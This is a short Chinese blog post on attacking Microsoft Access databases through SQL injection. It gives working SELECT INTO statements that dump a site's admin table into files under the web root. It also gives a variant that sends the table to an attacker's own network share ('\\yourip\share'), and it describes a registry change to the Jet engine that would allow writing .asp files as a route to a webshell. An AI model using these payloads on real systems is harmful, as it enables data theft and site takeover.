包含标签 "SQL注入" 的所有文章。
利用Access SQL注入导出ASP文件的方法
已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。
最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。
传统的导出方法
几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法:
Select * into [test.txt] in 'd:\web\' 'text;' from admin
执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说"不能更新,数据库或对象为只读"。
问题的根源
其实控制导出文件后缀是存储在注册表的,具体键值是:
HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension
默认情况下值为"!txt,csv,tab,asc,tmp,htm,html"
,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。
这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。
扩展思路
顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:
Select * into [test.txt] in '\\yourip\share' 'text;' from admin
实际测试
我在我自己的blog上测试,没有得用注入,直接exec sql语句形成:
Select gb_Author into [222.txt] in 'D:\wwwroot\starstudio\wwwroot\' 'text;' from blog_Guestbook
竟然真生成了txt文件了,当时可以访问 starstudio.cn/222.txt(现在域名已经失效,starstudio已经躺在本地硬盘中了)
不行可以试试访问…利用注点怎么得asp还得好好研究下